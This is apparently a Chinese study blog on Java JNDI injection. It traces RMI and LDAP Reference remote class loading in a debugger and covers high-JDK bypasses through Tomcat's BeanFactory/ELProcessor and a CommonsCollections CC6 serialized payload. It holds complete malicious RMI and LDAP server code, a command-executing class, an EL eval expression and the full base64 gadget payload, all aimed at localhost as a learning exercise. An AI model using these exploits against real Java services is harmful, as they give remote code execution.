本文最后更新于 2026-06-16T16:08:32+08:00
JNDI的概念
官方文档:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
JNDI(Java Naming and Directory Interface) 是 Java 提供的一套统一访问命名和目录服务的 API,用来把“名字”映射成“对象”,方便在 Java 应用中查找和使用各种资源
是一个名字对应一个 Java 对象,也就是一个字符串对应一个 Java 对象
JNDI 在JDK 中支持的四个服务:
- 轻量级目录访问协议 (LDAP)
- 通用对象请求代理架构 (CORBA) 通用对象服务 (COS) 命名服务
- Java 远程方法调用 (RMI) 注册表
- 域名服务 (DNS)
前三个是字符串对应对象,最后一个是 IP 对应域名
JNDI 可以分为下面五个包:
就是上面的四个服务对应四个包,再加上一个主包
官方文档介绍 JNDI 包:https://docs.oracle.com/javase/tutorial/jndi/overview/naming.html
最重要的就是javax.naming,包含了用于访问命名服务的类和接口
具体的利用方式下面用代码来了解
JNDI 的利用方式与漏洞
1. JNDI 结合 RMI
接口和接口的实现类和 RMI 里一样,代码就不贴了
贴个笔记链接:https://yschen20.github.io/2026/02/12/RMI%E5%9F%BA%E7%A1%80/#RMI%E5%AE%9E%E7%8E%B0
服务端
JNDIRMIServer.java:
1 2 3 4 5 6 7 8 9 10 11 12
| import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.getRegistry(1099); initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl()); } }
|
客户端
JNDIRMIClient.java:
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObj.sayHello("Suzen")); } }
|
RMI 原生漏洞
虽然 API 是 JNDI 服务的,但是实际上是调用 RMI 库里的
打断点进行调试,证明一下 JDNI 的 API 实际是调用的 RMI 的库里的原生lookup()方法
Server端先跑起来

然后 Client 端开始初始化InitialContext类的

直接在InitialContext类中的lookup()方法那里下断点,也就是417行这里

这里调用了lookup()方法,跟进去来到GenericURLContext类的lookup()方法

在96行这里又套一个lookup()方法

继续跟进,发现这是RegistryContext类的lookup()方法

这里在93行又有一个lookup()方法

跟进来到RegistryImpl_Skel类,这就是和 RMI 一样的

所以可以说明 JNDI 调用 RMI 服务时,虽然 API 是 JNDI 的,但是最终还是调用的是原生的 RMI 服务
也就是说在 RMI 中存在的漏洞,在 JNDI 中也会存在,但是这并不是 JNDI 的漏洞
通用的漏洞(Normal JNDI)
这个漏洞是 JNDI 注入漏洞,和调用的服务无关,不论调用的 RMI、DNS、LOAP 等等,都会存在这个漏洞,是通用的
**原理:**在服务端调用一个Reference对象,像代理
看一下Reference类的构造函数,有三个参数:
- 第一个是
className类名
- 第二个是
factory
- 第三个是
factoryLocation地址

改一下服务端JNDIRMIServer.java的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference); } }
|
原本最后是直接绑定一个RemoteObjImpl对象
1
| initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
|
现在改成new一个Reference类的方法,然后用rebind去调用
这里会进行远程类加载,加载Calc类
1 2
| Reference reference = new Reference("Calc","Calc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
|
Calc类的代码:
1 2 3 4 5 6
| public class JNDICalc { public JNDICalc() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
然后进行编译

在这个目录下起一个 HTTP 服务
1
| python -m http.server 7777
|
然后运行 Server 端,再运行 Client 端,最后可以弹出计算器,不过会有一些报错,这是因为Reference没有sayHello这个方法

打断点调试一下,直接断在 Client 的RegistryContext类的lookup()方法这里,开始判断var1是否为空

向 RMI Registry 查对象var1.get(0),也就是remoteObj,这里var2是ReferenceWrapper_Stub这个类,这里的lookup()是ReferenceWrapper_Stub类的

继续往下来到最后,会调用decodeObject()方法

跟进decodeObject()方法,首先判断是否是Reference对象

然后是调用了DirectoryManager类的getOBjectInstance()方法,这是个初始化的方法

跟进这个方法,首先是判断builder是否为空

跳到下面这里,把refInfo强转换成Reference赋值给ref

继续往下是关于ref的,首先利用getFactoryClassName()方法获取ref的classFactory

这里的classFactory就是远程加载的类名JNDICalc

如果ref中定义了factory,就会继续调用getObjectFactoryFromReference()方法去调用ref的factory

跟进这个方法,就是执行加载类的loadClass()方法,加载的类是前面获取的classFactory,恶意类JNDICalc

往下就是去获取codebase,调用的getFactoryClassLocation()方法,顾名思义,就是获取factoryLocation地址的

也就是URL:http://localhost:7777/

接着调用helper.loadClass(),就是URLClassLoader动态类加载


最后就是newInstance()执行代码

总的来说攻击点就是 Client 端调用了lookup()方法,然后就是 URLClassLoader 的动态类加载
这个漏洞在 jdk8u121 中被修复,只能调用本地的lookup()方法
2. JNDI结合LDAP
LDAP是什么
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议) 是一种基于 TCP/IP 的应用层协议,用于访问和维护分布式目录信息服务(通常称为”目录服务”或”LDAP目录”)
简单来说:LDAP 是用来集中存储和查询用户信息、组织架构等”目录数据”的协议,最常见用途是企业的统一身份认证(SSO/登录)
LDAP 是一种协议,并不是 Java 独有的

LDAP 的 JNDI 漏洞
起一个 LDAP 的服务,在 Server 端的 pom.xml 中导入 unboundid-ldapsdk的 依赖
1 2 3 4 5 6 7 8
| <dependencies> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2.0</version> <scope>test</scope> </dependency> </dependencies>
|

然后是 Server 端的代码
LDAPServer.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#JNDICalc"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
然后是 Client 端的
JNDILDAPClient.java
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDILDAPClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1234/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
先在之前放JNDICalc恶意类的目录下起一个 HTTP 服务
1
| python -m http.server 7777
|
然后依次运行服务端和客户端


这个攻击还是之前的 Reference
这里下断点调试一下,开始断点还是下在InitialContext类的lookup()方法这里

跟进lookup()方法

继续跟进lookup()方法

继续跟进lookup()方法,来到了PartialCompositeContext类的lookup()方法,这里直接跟进到103行这里,会调用var2.p_lookup()方法
PartialCompositeContext是 JDK 内置的 JNDI 框架类,负责把lookup()的复合名称解析后,转发给具体的协议实现(如 LdapCtx)去执行真正的 LDAP 查询

跟进p_lookup()方法,下面这里会调用this.c_lookup()方法

继续跟进来到LdapCtx.c_lookup(),这里就是真正去连 LDAP,调用decodeObject()方法触发漏洞的地方

在686行这里调用了decodeObject()方法

这里就是和前面常规的 JNDI 注入一样了,这里 LDAP JNDI 注入是从LdapCtx.c_lookup()进入到decodeObject()方法
贴一下前面的图,常规的是从RegistryContext.lookup()进入到decodeObject()方法

后面的就是和前面常规的分析一样了

3. JNDI 结合 CORBA

绕过高版本 JDK 的攻击
1. JDK 版本在 8u191 之前的绕过手段
就是前面分析过的那个通用的漏洞,不管调用什么都会存在这个漏洞
漏洞修复方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
|
在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测
判断equalsIgnoreCase(trustURLCodebase)的值是否为true
但是这个的默认值是false,就无法加载codebase,后续攻击链就断了
2. JDK 版本在 8u191 之后的绕过方式
JDK8u192下载地址:Java Archive Downloads - Java SE 8

方法一:利用本地恶意Class作为Reference Factory
就是要服务端本地 ClassPath 中存在恶意 Factory 可以被利用当作 Reference Factory
这个恶意类必须实现javax.naming.spi.ObjectFactory接口和接口中的getObjectInstance()方法
大佬找到org.apache.naming.factory.BeanFactory类满足条件:
- 实现
javax.naming.spi.ObjectFactory接口和接口中的getObjectInstance()方法
- 存在于 Tomcat8 依赖包中,应用广泛
该类的getObjectInstance()函数中会通过反射的方式实例化 Reference 所指向的任意Bean Class(Bean Class就类似于我们之前说的那个 CommonsBeanUtils 这种,并且会调用setter()方法为所有的属性赋值而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的
**攻击利用:**Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar
添加依赖,服务端和客户端都要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <dependencies> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2.0</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.63</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-el-api</artifactId> <version>8.5.63</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>8.5.63</version> </dependency> </dependencies>
|
服务端的恶意代码JNDIRMIServer.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef( "javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null ); resourceRef.add(new StringRefAddr("forceString","x=eval")); resourceRef.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }
|
这段代码构造了一个“伪装成资源的 JNDI Reference”,利用 Tomcat 的 BeanFactory强制调用 ELProcessor.eval(),再通过 JavaScript 引擎执行任意系统命令
客户端:
1 2 3 4 5 6 7 8 9 10
| import javax.naming.Context; import javax.naming.InitialContext;
public class JNDIBypassHighJavaClient { public static void main(String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj"; Context context = new InitialContext(); context.lookup(uri); } }
|

开始调试,在客户端调用lookup()这里下断点

前面的和之前一样一直调用lookup()方法,直接跳到RegistryContext.decodeObject()中调用getObjectInstance()方法这里

跟进getObjectInstance()方法,直接跳到下面这里

跟进getObjectFactoryFromReference()方法,往下走不会进入到上面那个if中去loadClass,而是会到下面进行实例化,然后强制转换成ObjectFactory类型,所以传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点

出来后走到下面这里

继续跟进getObjectInstance()方法,这里会先判断参数obj是否是ResourceRef类实例,是的话才会继续往下走,所以在服务端构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

然后是赋值,再执行loadClass()方法,beanClass赋值为javax.el.ELProcessor,也就是 Bean 类

将beanClass进行实例化,然后获取到其中的forceString

也就是构造的x=eval

到下面这里会看一下param(就是forceString)中是否存在=号

存在=号,所以index值为1

就会进入到if中,把属性名x和要调用的强制方法名eval拆分开来,最后就是拿到下面这俩
作用是告诉 BeanFactory:当设置属性x时,不要调用setX(),而是强制调用eval()方法

然后就是获取beanClass的eval()方法和x属性一起缓存到forced这个 HashMap 中

继续往下,使用while循环遍历获取 ResourceRef 类实例 addr 属性的元素

调用getContent()方法来获取x属性对应的contents即恶意表达式

然后从forced中获取key为x的值赋值给method变量

也就是eval

然后就是反射调用执行构造的恶意表达式

方法二:利用 LDAP 返回序列化数据,触发本地 Gadget
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象
如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化
此时,如果服务端 ClassPath 中存在反序列化的多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击
先用之前学习 CC 链的时候的EXP生成个payload,或者用 ysoserial 工具,这里用 CC6 的链子
1
| rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHNxAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAAAHcIAAAAEAAAAAB4eHQAAzEyM3g=
|
服务端和客户端都要加依赖:
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
恶意 LDAP 服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException;
public class JNDIGadgetServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JNDICalc"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
try { String payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHNxAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAAAHcIAAAAEAAAAAB4eHQAAzEyM3g="; e.addAttribute("javaSerializedData", Base64.decode(payload)); } catch (ParseException exception) { exception.printStackTrace(); }
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
客户端:
这里用的lookup方法,还有个 Fastjson 的还没学,之后再看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.alibaba.fastjson.JSON;
import javax.naming.Context; import javax.naming.InitialContext;
public class JNDIGadgetClient { public static void main(String[] args) throws Exception { Context context = new InitialContext(); context.lookup("ldap://localhost:1234/JNDICalc");
} }
|

调试一下,直接跳到调用decodeObject()方法这里

跟进来到调用deserializeObject()这里,顾名思义是反序列化的地方

跟进可以看到熟悉的readObject()方法


参考学习文章
Java反序列化之JNDI学习